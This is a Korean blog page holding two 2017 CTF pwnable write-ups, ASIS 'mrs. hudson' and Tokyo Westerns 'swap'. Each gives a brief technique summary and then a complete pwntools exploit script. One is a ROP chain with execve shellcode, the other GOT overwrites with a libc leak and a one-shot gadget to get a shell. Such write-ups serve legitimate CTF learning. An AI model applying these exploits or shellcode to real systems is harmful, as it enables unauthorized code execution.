'x64'에 해당되는 글 2건

  1. 2017.09.13 [ASIS CTF_2017] mrs. hudson(pwnable)
  2. 2017.09.13 [Tokyo Westerns CTF_2017] swap(pwnable)
2017. 9. 13. 21:46

## ASIS CTF_2017(mrs. hudson, pwn)


[Summary]

1. rop를 이용해 scanf("%s",bss); 호출

=> pop_rdi, pop_rsi_r15 가젯 이용

=> 취약점이 터지는 함수가 scanf()여서 scanf_plt주소의 0x20부분이 null처리됨.

=> 따라서 got로 점프하는 주소 바로 다음 명령어 즉, got에 주소가 없을 경우 plt+0x6으로 다시 돌아오는데

그 주소를 이용.

=> 쉘코드 입력하고 exploit!


[Exploit Code]  - mrshudson_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
#import hexdump
 
context(arch='amd64',os='linux')
#local=True
local=False
 
if local:
    p = process("./mrs._hudson")
else:
    p = remote("178.62.249.106"8642)
 
binary = ELF("./mrs._hudson")
 
raw_input()
 
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
#shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
bss = 0x601040
 
pop_rdi = 0x4006f3
pop_rsi_r15 = 0x4006f1
scanf_plt_6 = 0x400526
 
aS = 0x40072b
 
if __name__ == '__main__':
    payload = "A"*0x70 + "ebppebpp"
    payload += p64(pop_rdi) + p64(aS)
    payload += p64(pop_rsi_r15) + p64(bss) + p64(bss)
    payload += p64(scanf_plt_6)
    payload += p64(bss)
 
    p.send(payload + '\n')
    p.send(shellcode + '\n')
    
    p.interactive()
cs


[Get Flag~~!!!!]


[그림 1] flag확인


끝~!



Posted by holinder4S
2017. 9. 13. 11:21

## Tokyo Westerns CTF_2017(swap, pwn)


[Summary]

1. memcpy <=> read : swap기능을 이용해 바꿔치면 memcpy()만 read로 변경된다.(arbitrary mem write 가능해짐)

2. oneshot gadget을 얻기 위해 libc leak을 해야한다.

=> setvbuf_got를 puts_plt로 덮어씌운다.

=> exit_got를 start의 주소로 덮어씌워 setvbuf를 실행시킨다.(결과적으로 puts(stderr))

=> stderr를 stdin의 주소로 바꾼다.(for puts(_IO_2__1_stdin's addr))

3. exit_got를 oneshot_gadget으로 덮어씌운다.


[Exploit Code]  - swap_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *
 
context(arch='amd64',os='linux')
#local=True
local=False
 
if local:
    p = process("./swap")
else:
    p = remote("pwn1.chal.ctf.westerns.tokyo"19937)
 
binary = ELF("./swap")
 
raw_input()
 
puts_plt = 0x4006b0
memcpy_got = 0x601040
puts_got = 0x601018
read_got = 0x601028
exit_got = 0x601058
setvbuf_got = 0x601048
start_addr = 0x400760
stdin_addr = 0x601090
stderr_addr = 0x6010a0
 
def print_menu():
    p.recvuntil('Your choice:')
 
def set_addr(addr1, addr2):
    print_menu()
    p.send('1'+'\n')
    p.recvuntil('1st addr')
    p.send(str(addr1))
    p.recvuntil('2nd addr')
    p.send(str(addr2))
 
def swap():
    print_menu()
    p.send('2'+'\n')
 
if __name__ == "__main__":
    ## Stage 1 : arbitrary mem write(using memcpy_got <= read_got)
    set_addr(memcpy_got, read_got)
    swap()
 
    ## Stage 2 : leak libc addr
    ##    - setvbuf_got <= puts_plt
    ##    - exit_got <= start_addr (for trigger setvbuf(puts))
    ##    - stderr <= stdin (for puts(_IO_2_1_stdin's addr)
    ##      => result : libc stdin leak => libc base => one shot
    set_addr(0, setvbuf_got)
    swap()
    p.send(p64(puts_plt))
 
    set_addr(0, exit_got)
    swap()
    p.send(p64(start_addr))
    
    set_addr(0, stderr_addr)
    swap()
    p.send(p64(stdin_addr))
 
    p.send('0'+'\n')
    p.recvuntil('Bye.')
    p.recvline(); p.recvline(); p.recvline()
 
    ## leak & calc
    _IO_2_1_stdin_leak = u64(p.recv(6)+"\x00\x00")
    libc_base = _IO_2_1_stdin_leak - 0x3c48e0
    one_gadget = libc_base + 0xf0274#0x4526a
    print "[+] _IO_2_1_stdin addr : " + hex(_IO_2_1_stdin_leak)
    print "[+] libc base addr : " + hex(libc_base)
    print "[+] one shot gadget : " + hex(one_gadget)
 
    ## Stage 3 : exit <= oneshot_gadget
    set_addr(0, exit_got)
    swap()
    p.send(p64(one_gadget))
 
    ## Final : trigger
    p.send('0'+'\n')
    
    #print p.recv(1024)
    #puts_leak = p.recv(1024)[:6]+"\x00\x00"; 
    #print "[+] puts addr : " + hex(u64(puts_leak))
    
    
    p.interactive()
 
 
cs


[Get Flag~~!!!!]


[그림 1] flag 확인


끝~!

Posted by holinder4S